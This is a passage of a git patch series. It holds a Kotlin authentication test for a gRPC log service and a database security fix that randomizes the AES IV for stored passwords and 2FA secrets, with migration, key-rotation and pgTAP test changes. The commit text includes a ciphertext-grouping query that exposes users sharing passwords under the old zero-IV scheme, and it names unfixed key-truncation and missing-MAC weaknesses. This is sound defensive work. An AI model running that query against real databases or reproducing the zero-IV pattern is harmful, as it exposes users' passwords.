kotlinx.coroutines.withTimeout +import java.util.concurrent.TimeUnit +import kotlin.test.AfterTest +import kotlin.test.BeforeTest +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertTrue + +/** + * The application-log bridge, exercised over a real gRPC server (BossConsole#53). + * + * Before this bridge checked identity, any process able to open a connection to the kernel IPC + * server - not only the plugins the host itself loaded - could watch the live stdout/stderr + * stream of the running BOSS process, or export its whole history, with no credential at all. + */ +class LogServiceBridgeTest { + private lateinit var tokenRegistry: ProcessTokenRegistry + private lateinit var provider: FakeLogDataProvider + private lateinit var server: Server + private lateinit var authenticatedChannel: ManagedChannel + private lateinit var anonymousChannel: ManagedChannel + private lateinit var authenticated: LogServiceGrpcKt.LogServiceCoroutineStub + private lateinit var anonymous: LogServiceGrpcKt.LogServiceCoroutineStub + + @BeforeTest + fun setUp() { + tokenRegistry = ProcessTokenRegistry() + provider = FakeLogDataProvider() + server = + ServerBuilder + .forPort(0) + .intercept(ProcessIdentityInterceptor(tokenRegistry)) + .addService(LogServiceBridge(provider)) + .build() + .start() + authenticatedChannel = + ManagedChannelBuilder + .forAddress("localhost", server.port) + .usePlaintext() + .intercept(ProcessTokenClientInterceptor(tokenRegistry.issue(CALLER))) + .build() + anonymousChannel = ManagedChannelBuilder.forAddress("localhost", server.port).usePlaintext().build() + authenticated = LogServiceGrpcKt.LogServiceCoroutineStub(authenticatedChannel) + anonymous = LogServiceGrpcKt.LogServiceCoroutineStub(anonymousChannel) + } + + @AfterTest + fun tearDown() { + authenticatedChannel.shutdownNow() + authenticatedChannel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + anonymousChannel.shutdownNow() + anonymousChannel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + server.shutdownNow() + server.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + } + + @Test + fun `every RPC is refused with no credential, and never reaches the log provider`() = + runBlocking { + assertRefused { anonymous.watchLogs(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchFilter(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchSearchQuery(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchAutoScroll(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.setFilter(LogFilterProto.getDefaultInstance()) } + assertRefused { anonymous.setSearchQuery(LogStringRequest.newBuilder().setValue("q").build()) } + assertRefused { anonymous.toggleAutoScroll(Empty.getDefaultInstance()) } + assertRefused { anonymous.clearLogs(Empty.getDefaultInstance()) } + assertRefused { anonymous.exportLogs(Empty.getDefaultInstance()) } + + assertTrue(provider.calls.isEmpty(), "a refused call must never reach the log provider") + } + + @Test + fun `an authenticated caller can watch and export logs`() = + runBlocking { + provider.setLogs(listOf(LogEntryData(timestamp = 1L, message = "hello", source = LogSourceData.STDOUT))) + + val response = + authenticated + .watchLogs(Empty.getDefaultInstance()) + .take(1) + .toList() + .single() + assertEquals("hello", response.entriesList.single().message) + + val exported = authenticated.exportLogs(Empty.getDefaultInstance()) + assertEquals("exported", exported.value) + + authenticated.setSearchQuery(LogStringRequest.newBuilder().setValue("q").build()) + authenticated.clearLogs(Empty.getDefaultInstance()) + + assertEquals(listOf("exportLogs", "setSearchQuery", "clearLogs"), provider.calls) + } + + @Test + fun `revoked caller cannot invoke a unary RPC`() = + runBlocking { + tokenRegistry.revoke(CALLER) + assertRefused { authenticated.exportLogs(Empty.getDefaultInstance()) } + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `revoked watcher cannot receive a later snapshot`() = + runBlocking { + withTimeout(10_000) { + supervisorScope { + val received = Channel(Channel.UNLIMITED) + val watching = + async { + authenticated.watchLogs(Empty.getDefaultInstance()).collect { received.send(Unit) } + } + try { + received.receive() + tokenRegistry.revoke(CALLER) + provider.setLogs(listOf(LogEntryData(1L, "after", LogSourceData.STDOUT))) + val failure = assertFailsWith { watching.await() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(received.tryReceive().isFailure, "revocation must prevent the next snapshot") + } finally { + watching.cancel() + received.close() + } + } + } + } + + private suspend fun assertRefused(call: suspend () -> Unit) { + val failure = assertFailsWith { call() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + } + + /** Records every method it was actually asked to perform, so a refusal can be proven silent. */ + private class FakeLogDataProvider : LogDataProvider { + val calls = mutableListOf() + private val _logs = MutableStateFlow>(emptyList()) + override val logs: StateFlow> = _logs + private val _filter = MutableStateFlow(LogFilterData.ALL) + override val filter: StateFlow = _filter + private val _searchQuery = MutableStateFlow("") + override val searchQuery: StateFlow = _searchQuery + private val _autoScroll = MutableStateFlow(true) + override val autoScroll: StateFlow = _autoScroll + + fun setLogs(entries: List) { + _logs.value = entries + } + + override fun setFilter(filter: LogFilterData) { + calls += "setFilter" + _filter.value = filter + } + + override fun setSearchQuery(query: String) { + calls += "setSearchQuery" + _searchQuery.value = query + } + + override fun toggleAutoScroll() { + calls += "toggleAutoScroll" + _autoScroll.value = !_autoScroll.value + } + + override fun clearLogs() { + calls += "clearLogs" + _logs.value = emptyList() + } + + override fun exportLogs(): String { + calls += "exportLogs" + return "exported" + } + } + + private companion object { + const val CALLER = "log-panel-plugin" + const val SHUTDOWN_TIMEOUT_MS = 5_000L + } +} From a3f4b7f09ebf2896390580d0b71bea3a03635db4 Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 13:57:46 +0530 Subject: [PATCH 25/28] fix(security): randomize the IV for encrypt_text/decrypt_text (#647) * fix(security): randomize the IV for encrypt_text/decrypt_text encrypt_text called the 3-arg extensions.encrypt(plaintext, key, 'aes'), which pgcrypto documents as using an all-zero IV, so encryption was a pure function of (plaintext, key) alone: two equal passwords produced byte-identical ciphertext. Because create_secret encrypts server-side and RLS lets a user read their own password_encrypted back, any signed-in user was an encryption oracle - grouping a dump by ciphertext names every set of users sharing a password, with no key required. The same defect applied to recovery_codes_encrypted and twofa_secret. encrypt_text now draws a fresh random 16-byte IV per call and stores 'v2:' || base64(iv || ciphertext); decrypt_text dispatches on that prefix and falls back to the original zero-IV path for anything not yet migrated, so this deploys without a flag day. A backfill converts existing rows in all three columns, guarded by NOT LIKE 'v2:%' so a partial or repeated run is a no-op. Deliberately scoped to this one defect (BossConsole#618 names three). Defect 2 (the encryption key truncated to 32 string characters instead of 32 bytes) is not touched here: ops/rotate_master_encryption_key.sql records that a deployed key may be hex or base64, and this migration cannot tell which is live in any given project's Vault - guessing wrong would make get_encryption_key()'s result unusable and break encryption for every row on deploy. Defect 3 (no MAC/AEAD) needs its own wire-format review. ops/rotate_master_encryption_key.sql itself will need a follow-up before it can run again, since it manipulates raw ciphertext bytes assuming the old no-IV, no-prefix layout - both gaps are documented in the migration's own header. This could not be run against a real Postgres/pgTAP instance in this environment (no supabase/docker CLI available here) - the added test was written and reviewed by hand, and hosted CI's Database (pgTAP) check is the actual verification gate. * fix(security): un-qualify substring(... from ...) so it parses CI's Database (pgTAP) check caught what local review couldn't (no Postgres available in this sandbox): pg_catalog.substring(x from y) is a syntax error. substring's SQL-standard FROM/FOR trailing syntax is recognized by the parser only on the bare function name - schema-qualifying it makes PostgreSQL treat it as an ordinary call, where FROM is not a valid argument separator. 20260909000000_encrypt_totp.sql's own decrypt_text already calls substring unqualified for exactly this reason; this migration's three call sites (envelope/iv/body extraction in decrypt_text, and the twofa_secret backfill) now match that convention. Both functions' search_path already resolves the unqualified name to pg_catalog's substring, so nothing else about name resolution changes. * fix(security): make key rotation understand the v2 IV envelope CI's Database (pgTAP) check caught what local review couldn't (no Postgres available in this sandbox): the pre-existing master_key_rotation_test.sql runs ops/rotate_master_encryption_key.sql against real fixture data, and that script's re-encrypt loop calls extensions.decrypt/encrypt directly on raw ciphertext bytes, assuming the old zero-IV, no-prefix layout. The 'v2:' prefix the previous commit's encrypt_text now writes is not valid base64, so decoding it raised - exactly the gap this migration's own header comment already named as a follow-up, just sooner than expected. Added a pg_temp helper, rotate_ciphertext, that re-encrypts a mapped column's value under the new key while preserving whichever envelope it already carries: a 'v2:' row is decrypted with decrypt_iv under the old key and re-encrypted with encrypt_iv under the new key AND a fresh IV (a function rather than an inline SQL expression, specifically so gen_random_bytes(16) is evaluated once and reused for both the encrypt_iv call and the stored prefix - two calls would produce two different values and corrupt the row). A legacy row - every column before this pair of migrations, and still qbo_token_state / google_token_state going forward, since those are untouched by the IV migration - stays zero-IV, matching what it already was. Rotation's contract stays "same shape, new key"; upgrading a row's shape is the encryption migration's job, not rotation's. Updated the IV migration's own header comment, which had flagged this as a still-open follow-up, to point at the fix now landing alongside it instead. * fix(security): preserve plaintext bytes during IV upgrade * fix(security): make IV backfill atomic and diagnose unreadable rows --------- Co-authored-by: Shivang --- .gitignore | 2 + scripts/test/prepare-db-access-tests.py | 1 + ...4000000_randomize_secret_encryption_iv.sql | 200 ++++++++++++++++++ supabase/ops/rotate_master_encryption_key.sql | 51 ++++- .../tests/master_key_rotation_test.sql.in | 21 +- ...ecret_encryption_iv_randomization_test.sql | 101 +++++++++ supabase/tests/secret_iv_upgrade_test.sql.in | 101 +++++++++ 7 files changed, 469 insertions(+), 8 deletions(-) create mode 100644 supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql create mode 100644 supabase/tests/secret_encryption_iv_randomization_test.sql create mode 100644 supabase/tests/secret_iv_upgrade_test.sql.in diff --git a/.gitignore b/.gitignore index bcc317eb60..7eaedcd545 100644 --- a/.gitignore +++ b/.gitignore @@ -128,3 +128,5 @@ supabase/tests/.migration-fixtures/ supabase/tests/master_key_rotation_test.sql supabase/tests/db_access_audit_test.sql supabase/tests/client_grant_audit_test.sql + +/supabase/tests/secret_iv_upgrade_test.sql diff --git a/scripts/test/prepare-db-access-tests.py b/scripts/test/prepare-db-access-tests.py index 1969a7b644..8d5c0c289c 100644 --- a/scripts/test/prepare-db-access-tests.py +++ b/scripts/test/prepare-db-access-tests.py @@ -27,6 +27,7 @@ # name -> (operation inlined at each marker, exact number of markers expected) SUITES = [ + ("secret_iv_upgrade", "migrations/20260914000000_randomize_secret_encryption_iv.sql", 3), ("master_key_rotation", "ops/rotate_master_encryption_key.sql", 5), ("db_access_audit", "audit/identity_disclosure_audit.sql", 4), ("client_grant_audit", "audit/client_grant_audit.sql", 2), diff --git a/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql b/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql new file mode 100644 index 0000000000..d7c53ef8ab --- /dev/null +++ b/supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql @@ -0,0 +1,200 @@ +-- ============================================================================ +-- BOSS Database Schema: Randomize the IV for encrypt_text/decrypt_text +-- ============================================================================ +-- File: 20260914000000_randomize_secret_encryption_iv.sql +-- Fixes: BossConsole#618 (defect 1 of 3 - see that issue for the other two). +-- +-- encrypt_text() called the 3-arg extensions.encrypt(plaintext, key, 'aes'), +-- which pgcrypto documents as using an all-zero IV. Encryption was therefore a +-- pure function of (plaintext, key): two equal passwords produced byte-identical +-- ciphertext. Because create_secret() encrypts server-side and RLS lets a user +-- read their own password_encrypted back, any signed-in user was an encryption +-- oracle - `SELECT password_encrypted, count(*) FROM secrets GROUP BY 1 HAVING +-- count(*) > 1` names every set of users sharing a password, from a dump alone, +-- with no key required. The same defect applied to recovery_codes_encrypted and +-- (#417) twofa_secret, wherever two rows happened to hold equal plaintext. +-- +-- Fix: encrypt_text now generates a fresh random 16-byte IV per call +-- (extensions.gen_random_bytes) and uses extensions.encrypt_iv/decrypt_iv, +-- storing 'v2:' || base64(iv || ciphertext) - the same versioned-envelope +-- convention 20260909000000_encrypt_totp.sql established for this exact +-- purpose. decrypt_text dispatches on the 'v2:' prefix and falls back to the +-- original zero-IV path for anything not yet migrated, so this deploys without +-- a flag day: existing ciphertext keeps decrypting right up until the backfill +-- below converts it, and nothing but encrypt_text/decrypt_text's own behavior +-- changes for any caller. +-- +-- Deliberately NOT touched here, so nobody assumes more was fixed than was: +-- - Defect 2 (encryption_key::bytea truncates the key to its first 32 +-- *bytes of the string's own characters* - 32 hex characters is 128 bits, +-- not the documented 256). ops/rotate_master_encryption_key.sql's own +-- comment records that a deployed key may be hex OR base64, and this +-- migration cannot tell which is live in any given project's Vault - an +-- incorrect guess here would make get_encryption_key()'s result unusable +-- and break encryption/decryption for every row immediately on deploy. +-- Fixing defect 2 needs an operator who knows the deployed key's actual +-- encoding, not a guess baked into a migration. Left as GitHub#618's +-- still-open second defect. +-- - Defect 3 (no MAC/AEAD - a flipped ciphertext byte surfaces only as a +-- later UTF8 decode error, never as an authentication failure). Adding one +-- is a wire-format decision (where the tag lives, what key derives it) +-- that deserves its own review, not a rider on this fix. +-- ops/rotate_master_encryption_key.sql's re-encrypt loop operated on raw +-- ciphertext bytes directly (old key -> new key) and assumed the fixed, +-- no-IV, no-prefix legacy layout for every mapped column - after the backfill +-- below, the three columns above are 'v2:'-framed instead, so that script has +-- been updated in the same change as this migration to re-encrypt either +-- shape under its own envelope (a v2 row gets a fresh IV; a legacy row, such +-- as the still-unmigrated qbo_token_state/google_token_state columns, stays +-- zero-IV). Existing broker rows are NOT upgraded by this migration or by +-- rotation; only later application writes change their format. Their schemas +-- are operated outside this repository and need an explicit operator-owned +-- backfill. This change is scoped to the three user-secret fields in #618. +-- The inner v2 encryption version is independent of TOTP's outer v1 marker. +-- See that script's own comment for the detail. +-- ============================================================================ + +CREATE OR REPLACE FUNCTION "public"."encrypt_text"("plaintext" "text") RETURNS "text" + LANGUAGE "plpgsql" SECURITY DEFINER + SET "search_path" TO 'public, pg_catalog, extensions' + AS $$ +DECLARE + encryption_key TEXT; + iv bytea; + ciphertext bytea; +BEGIN + encryption_key := public.get_encryption_key(); + -- 16 bytes: pgcrypto's AES block size, and what decrypt below expects to + -- split back off the front of the stored envelope. + iv := extensions.gen_random_bytes(16); + ciphertext := extensions.encrypt_iv( + pg_catalog.convert_to(plaintext, 'utf8'), + encryption_key::bytea, + iv, + 'aes'::text + ); + RETURN 'v2:' || pg_catalog.encode(iv || ciphertext, 'base64'::text); +END; +$$; + +ALTER FUNCTION "public"."encrypt_text"("plaintext" "text") OWNER TO "postgres"; + +CREATE OR REPLACE FUNCTION "public"."decrypt_text"("ciphertext" "text") RETURNS "text" + LANGUAGE "plpgsql" SECURITY DEFINER + SET "search_path" TO 'public, pg_catalog, extensions' + AS $$ +DECLARE + encryption_key TEXT; + envelope bytea; + iv bytea; + body bytea; +BEGIN + IF ciphertext IS NULL THEN + RETURN NULL; + END IF; + + encryption_key := public.get_encryption_key(); + + IF ciphertext LIKE 'v2:%' THEN + -- substring(x FROM y [FOR z]) is SQL-standard trailing syntax the parser recognizes only + -- on the bare function name - schema-qualifying it (pg_catalog.substring(...)) makes FROM + -- a syntax error, since it is then parsed as an ordinary call instead. The parser + -- resolves this SQL-standard form to pg_catalog.substring; it does not rely + -- on search_path (20260909000000_encrypt_totp.sql does the same). + envelope := pg_catalog.decode(substring(ciphertext from 4), 'base64'::text); + iv := substring(envelope from 1 for 16); + body := substring(envelope from 17); + RETURN pg_catalog.convert_from( + extensions.decrypt_iv(body, encryption_key::bytea, iv, 'aes'::text), + 'utf8'::name + ); + END IF; + + -- Legacy path, unchanged: a zero-IV ciphertext written before this + -- migration, or any row the backfill below has not reached yet. + RETURN pg_catalog.convert_from( + extensions.decrypt( + pg_catalog.decode(ciphertext, 'base64'::text), + encryption_key::bytea, + 'aes'::text + ), + 'utf8'::name + ); +END; +$$; + +ALTER FUNCTION "public"."decrypt_text"("ciphertext" "text") OWNER TO "postgres"; + +-- ---- Backfill: convert every existing zero-IV ciphertext to the versioned, +-- random-IV envelope. Guarded by "NOT LIKE 'v2:%'" so re-running this +-- migration (or a row already migrated by a prior partial run) is a no-op, +-- matching 20260909000000_encrypt_totp.sql's own idempotency contract. + +-- Keep the trigger-disabled window atomic even under psql without -1. +DO $backfill$ +DECLARE + field record; + stored record; + unreadable bigint; +BEGIN + -- A missing/disabled input trigger is an unsafe schema state, not an optional + -- deployment. Refuse before touching data; the operator must restore it first. + IF NOT EXISTS (SELECT 1 FROM pg_catalog.pg_trigger + WHERE tgrelid = 'public.secret_metadata'::regclass + AND tgname = 'encrypt_twofa_secret_trigger' AND tgenabled = 'O') THEN + RAISE EXCEPTION 'IV upgrade requires enabled encrypt_twofa_secret_trigger; restore the TOTP input trigger first'; + END IF; + + -- Report counts and column names only, never plaintext, ciphertext or keys. + -- Do not skip unreadable rows or turn them into NULL during an upgrade. + FOR field IN SELECT * FROM (VALUES + ('secrets', 'password_encrypted', 1, ''), + ('secret_metadata', 'recovery_codes_encrypted', 1, ''), + ('secret_metadata', 'twofa_secret', 4, 'v1:') + ) AS fields(tbl, col, start_at, prefix) LOOP + unreadable := 0; + FOR stored IN EXECUTE pg_catalog.format( + 'SELECT pg_catalog.substr(%1$I, %2$s) AS value FROM public.%3$I ' + 'WHERE %1$I IS NOT NULL AND %1$I LIKE %4$L ' + 'AND pg_catalog.substr(%1$I, %2$s) NOT LIKE ''v2:%%''', + field.col, field.start_at, field.tbl, field.prefix || '%') LOOP + BEGIN + PERFORM public.decrypt_text(stored.value); + EXCEPTION WHEN OTHERS THEN + unreadable := unreadable + 1; + END; + END LOOP; + IF unreadable > 0 THEN + RAISE EXCEPTION 'IV upgrade refused: % unreadable rows in public.%; recover these rows with the correct key before retrying', + unreadable, field.tbl || '.' || field.col; + END IF; + END LOOP; + +UPDATE public.secrets +SET password_encrypted = public.encrypt_text(public.decrypt_text(password_encrypted)) +WHERE password_encrypted IS NOT NULL + AND password_encrypted NOT LIKE 'v2:%'; + +UPDATE public.secret_metadata +SET recovery_codes_encrypted = public.encrypt_text(public.decrypt_text(recovery_codes_encrypted)) +WHERE recovery_codes_encrypted IS NOT NULL + AND recovery_codes_encrypted NOT LIKE 'v2:%'; + +-- twofa_secret carries its own 'v1:' envelope around an encrypt_text() payload +-- (20260909000000_encrypt_totp.sql). Re-encrypt the inner payload and keep the +-- outer 'v1:' framing exactly as-is, since safe_decrypt_twofa_secret and the +-- insert/update trigger both key off it. The trigger rejects any UPDATE whose +-- new value already carries a 'v1:' prefix ("TOTP input must be plaintext"), +-- which is correct for application writes and fatal for this backfill - +-- disable it for the duration, exactly as +-- ops/rotate_master_encryption_key.sql already does for the same reason. +ALTER TABLE public.secret_metadata DISABLE TRIGGER encrypt_twofa_secret_trigger; + +UPDATE public.secret_metadata +SET twofa_secret = 'v1:' || public.encrypt_text(public.decrypt_text(substring(twofa_secret from 4))) +WHERE twofa_secret LIKE 'v1:%' + AND substring(twofa_secret from 4) NOT LIKE 'v2:%'; + +ALTER TABLE public.secret_metadata ENABLE TRIGGER encrypt_twofa_secret_trigger; +END; +$backfill$; diff --git a/supabase/ops/rotate_master_encryption_key.sql b/supabase/ops/rotate_master_encryption_key.sql index 7a961bd77b..7fd08d048d 100644 --- a/supabase/ops/rotate_master_encryption_key.sql +++ b/supabase/ops/rotate_master_encryption_key.sql @@ -225,18 +225,59 @@ begin end if; end loop; + -- A mapped column's stripped value (after cols[i][4]'s outer envelope, if + -- any) is either the legacy zero-IV ciphertext every column held before + -- 20260914000000_randomize_secret_encryption_iv.sql, or - for the three + -- columns that migration touched - the 'v2:' || base64(iv || ciphertext) + -- envelope encrypt_text now writes. This function re-encrypts either shape + -- under the new key, preserving its own envelope rather than upgrading one + -- to the other: that upgrade is the encryption migration's job, not + -- rotation's, whose contract stays "same shape, new key". A v2 row gets a + -- freshly generated IV - rotating the key is a good time to rotate the IV + -- too, and it is why this is a function rather than an inline expression: + -- gen_random_bytes(16) has to be evaluated exactly once and reused for both + -- the encrypt_iv call and the stored prefix, which a single SQL expression + -- cannot guarantee (two calls to it would produce two different values). + execute $def$ + create or replace function pg_temp.rotate_ciphertext(v text, old_key bytea, new_key bytea) + returns text language plpgsql as $rc$ + declare + envelope bytea; iv bytea; body bytea; new_iv bytea; + begin + if v is null then + return null; + end if; + if v like 'v2:%' then + envelope := pg_catalog.decode(substring(v from 4), 'base64'); + iv := substring(envelope from 1 for 16); + body := substring(envelope from 17); + new_iv := extensions.gen_random_bytes(16); + return 'v2:' || pg_catalog.encode( + new_iv || extensions.encrypt_iv( + extensions.decrypt_iv(body, old_key, iv, 'aes'), + new_key, new_iv, 'aes'), + 'base64'); + end if; + return pg_catalog.encode( + extensions.encrypt( + extensions.decrypt(pg_catalog.decode(v, 'base64'), old_key, 'aes'), + new_key, 'aes'), + 'base64'); + end; + $rc$; + $def$; + for i in 1 .. array_length(cols, 1) loop execute format($f$ update public.%1$I - set %2$I = %4$L || pg_catalog.encode( - extensions.encrypt( - extensions.decrypt(pg_catalog.decode(pg_catalog.substr(%2$I, %5$s),'base64'), $1::bytea, 'aes'), - $2::bytea, 'aes'), 'base64') + set %2$I = %4$L || pg_temp.rotate_ciphertext(pg_catalog.substr(%2$I, %5$s), $1, $2) where %2$I is not null $f$, cols[i][1], cols[i][2], cols[i][3], cols[i][4], (length(cols[i][4]) + 1)::text) - using old_key, new_key; + using old_key::bytea, new_key::bytea; end loop; + drop function pg_temp.rotate_ciphertext(text, bytea, bytea); + for i in 1 .. array_length(known_triggers, 1) loop if to_regclass(format('public.%I', known_triggers[i][1])) is not null and exists ( diff --git a/supabase/tests/master_key_rotation_test.sql.in b/supabase/tests/master_key_rotation_test.sql.in index 186dc11923..896160faea 100644 --- a/supabase/tests/master_key_rotation_test.sql.in +++ b/supabase/tests/master_key_rotation_test.sql.in @@ -1,7 +1,7 @@ -- The broker schemas are operated outside this repository. Model their exact -- encrypted-column contract locally; no production keys or rows are used. begin; -select plan(16); +select plan(20); set local datestyle = 'ISO, YMD'; create table public.qbo_token_state ( id integer primary key, client_id_enc text, client_secret_enc text, @@ -39,14 +39,29 @@ select public.create_secret('rotation.example', 'fixture', 'core-fixture', p_recovery_codes => array['recovery-one', 'recovery-two']); update public.secret_metadata sm set twofa_secret = 'JBSWY3DPEHPK3PXP' from public.secrets sec where sec.id = sm.secret_id and sec.website = 'rotation.example'; -insert into public.qbo_token_state values (1, public.encrypt_text('client'), +-- Existing broker rows remain legacy while new writes use v2. Exercise both +-- paths in the same rotation, independently constructing the old format. +insert into public.qbo_token_state values (1, encode(extensions.encrypt( + convert_to('client', 'utf8'), public.get_encryption_key()::bytea, 'aes'), 'base64'), public.encrypt_text('secret'), public.encrypt_text('refresh'), public.encrypt_text('access')); insert into public.google_token_state values (1, public.encrypt_text('pem'), public.encrypt_text('token')); create view public.pgtap_broker_view as select client_id_enc from public.qbo_token_state; +create temp table rotation_initial_iv as +select substring(decode(substr(client_secret_enc, 4), 'base64') from 1 for 16) as iv +from public.qbo_token_state; create temp table rotation_initial_key as select public.get_encryption_key() as value, clock_timestamp() as started_at, (select count(*) from vault.secrets where name like 'master\_encryption\_key\_retired\_%') as retired_before; \ir ../ops/rotate_master_encryption_key.sql +select is((select public.decrypt_text(client_id_enc) from public.qbo_token_state), + 'client', 'legacy zero-IV broker value survives a mixed-format rotation'); +select ok((select client_id_enc not like 'v2:%' from public.qbo_token_state), + 'rotation preserves the legacy broker format'); +select ok((select client_secret_enc like 'v2:%' from public.qbo_token_state), + 'rotation preserves the new v2 broker format'); +select isnt((select substring(decode(substr(client_secret_enc,4),'base64') from 1 for 16) + from public.qbo_token_state), (select iv from rotation_initial_iv), + 'rotation assigns a fresh IV to a v2 value'); select isnt(public.get_encryption_key(), (select value from rotation_initial_key), 'rotation replaces the master key'); select is((select public.decrypt_text(client_secret_enc) from public.qbo_token_state where id=1), @@ -93,7 +108,7 @@ select is((select password from public.get_user_secrets(50,0) where website='rot -- the contract. Both negative cases raise before anything is mutated, so they -- leave the retained-key counts asserted above untouched. alter table public.secret_metadata disable trigger encrypt_twofa_secret_trigger; -update public.secret_metadata sm set twofa_secret = 'v2:' || substr(sm.twofa_secret, 4) +update public.secret_metadata sm set twofa_secret = 'v9:' || substr(sm.twofa_secret, 4) from public.secrets sec where sec.id = sm.secret_id and sec.website = 'rotation.example'; select throws_ok($rot$ \ir ../ops/rotate_master_encryption_key.sql diff --git a/supabase/tests/secret_encryption_iv_randomization_test.sql b/supabase/tests/secret_encryption_iv_randomization_test.sql new file mode 100644 index 0000000000..c97f29bab4 --- /dev/null +++ b/supabase/tests/secret_encryption_iv_randomization_test.sql @@ -0,0 +1,101 @@ +-- BossConsole#618 (defect 1): encrypt_text/decrypt_text must no longer produce +-- deterministic, zero-IV ciphertext. All migrations are already applied by the +-- time this file runs, so 20260914000000_randomize_secret_encryption_iv.sql's +-- own backfill has nothing to convert on a fresh database; the last block +-- below re-runs its exact UPDATE statement against a row inserted in the old +-- format to prove that statement's logic directly, rather than only trusting +-- that it ran once at migration time. +BEGIN; +SELECT no_plan(); +DO $fixture$ +DECLARE existing uuid; +BEGIN + SELECT id INTO existing FROM vault.secrets WHERE name = 'master_encryption_key'; + IF existing IS NULL THEN + PERFORM vault.create_secret('iv-test-key-0123456789abcdef01234567', 'master_encryption_key', 'pgTAP only'); + ELSE + PERFORM vault.update_secret(existing, 'iv-test-key-0123456789abcdef01234567', 'master_encryption_key', 'pgTAP only'); + END IF; +END; +$fixture$; + +-- ---- Determinism is broken: two encryptions of the same plaintext differ. +SELECT isnt( + public.encrypt_text('same-password'), + public.encrypt_text('same-password'), + 'two encryptions of the same plaintext produce different ciphertext' +); + +-- ---- New envelope round-trips. +SELECT matches(public.encrypt_text('round-trip-me'), '^v2:', 'new ciphertext carries the v2 envelope'); +SELECT is( + public.decrypt_text(public.encrypt_text('round-trip-me')), + 'round-trip-me', + 'a v2-encrypted value round trips' +); + +-- ---- Legacy (pre-migration, zero-IV) ciphertext still decrypts. Constructed +-- with the exact expression the original encrypt_text used, not through the +-- (now-replaced) function - this is what every row written before this +-- migration actually looks like on disk. +DO $$ +DECLARE + legacy_ciphertext text; +BEGIN + legacy_ciphertext := pg_catalog.encode( + extensions.encrypt('legacy-password'::bytea, public.get_encryption_key()::bytea, 'aes'::text), + 'base64'::text + ); + PERFORM set_config('pgtap.legacy_ciphertext', legacy_ciphertext, true); +END; +$$; +SELECT is( + public.decrypt_text(current_setting('pgtap.legacy_ciphertext')), + 'legacy-password', + 'a zero-IV ciphertext written before this migration still decrypts' +); +SELECT ok( + current_setting('pgtap.legacy_ciphertext') NOT LIKE 'v2:%', + 'the legacy fixture really is in the old, unversioned format' +); + +-- ---- The backfill statement converts a legacy row to the v2 envelope, and +-- is idempotent (a second run leaves an already-migrated row unchanged). +INSERT INTO auth.users (id, email) VALUES + ('d1800000-0000-4000-8000-000000000001', 'iv-owner@pgtap.test'); +INSERT INTO public.secrets (id, user_id, website, username, password_encrypted) VALUES + ('d1800000-0000-4000-8000-000000000011', 'd1800000-0000-4000-8000-000000000001', 'iv.test', 'owner', + pg_catalog.encode(extensions.encrypt('shared-password'::bytea, public.get_encryption_key()::bytea, 'aes'::text), 'base64'::text)); + +UPDATE public.secrets +SET password_encrypted = public.encrypt_text(public.decrypt_text(password_encrypted)) +WHERE id = 'd1800000-0000-4000-8000-000000000011' + AND password_encrypted NOT LIKE 'v2:%'; + +SELECT matches( + (SELECT password_encrypted FROM public.secrets WHERE id = 'd1800000-0000-4000-8000-000000000011'), + '^v2:', + 'the backfill statement upgrades a legacy row to the v2 envelope' +); +SELECT is( + public.decrypt_text((SELECT password_encrypted FROM public.secrets WHERE id = 'd1800000-0000-4000-8000-000000000011')), + 'shared-password', + 'the upgraded row still decrypts to its original plaintext' +); + +CREATE TEMP TABLE iv_backfill_before AS + SELECT password_encrypted FROM public.secrets WHERE id = 'd1800000-0000-4000-8000-000000000011'; + +UPDATE public.secrets +SET password_encrypted = public.encrypt_text(public.decrypt_text(password_encrypted)) +WHERE id = 'd1800000-0000-4000-8000-000000000011' + AND password_encrypted NOT LIKE 'v2:%'; + +SELECT is( + (SELECT password_encrypted FROM public.secrets WHERE id = 'd1800000-0000-4000-8000-000000000011'), + (SELECT password_encrypted FROM iv_backfill_before), + 'the backfill guard is idempotent - an already-migrated row is left untouched' +); + +SELECT * FROM finish(); +ROLLBACK; diff --git a/supabase/tests/secret_iv_upgrade_test.sql.in b/supabase/tests/secret_iv_upgrade_test.sql.in new file mode 100644 index 0000000000..2a950235a6 --- /dev/null +++ b/supabase/tests/secret_iv_upgrade_test.sql.in @@ -0,0 +1,101 @@ +-- Replay the actual migration against populated legacy storage, using only +-- transaction-local synthetic data. Expected plaintext is independent of the +-- old text-to-bytea cast, which interpreted backslashes during a backfill. +BEGIN; +SELECT no_plan(); +DO $fixture$ +DECLARE existing uuid; +BEGIN + SELECT id INTO existing FROM vault.secrets WHERE name = 'master_encryption_key'; + IF existing IS NULL THEN + PERFORM vault.create_secret('iv-test-key-0123456789abcdef01234567', 'master_encryption_key', 'pgTAP only'); + ELSE + PERFORM vault.update_secret(existing, 'iv-test-key-0123456789abcdef01234567', 'master_encryption_key', 'pgTAP only'); + END IF; +END; +$fixture$; +CREATE TEMP TABLE iv_expected AS +SELECT $plain$literal\path\\double\123 雪$plain$::text AS password, + '["code\\\\path","雪"]'::text AS recovery, + 'JBSWY3DPEHPK3PXP'::text AS totp; +CREATE FUNCTION pg_temp.legacy_iv_encrypt(value text) RETURNS text LANGUAGE sql AS $$ + SELECT encode(extensions.encrypt(convert_to(value, 'utf8'), + public.get_encryption_key()::bytea, 'aes'), 'base64'); +$$; +INSERT INTO auth.users(id, email) VALUES + ('d1800000-0000-4000-8000-000000000021', 'iv-upgrade@pgtap.test'); +INSERT INTO public.secrets(id,user_id,website,username,password_encrypted) +SELECT 'd1800000-0000-4000-8000-000000000022', + 'd1800000-0000-4000-8000-000000000021', 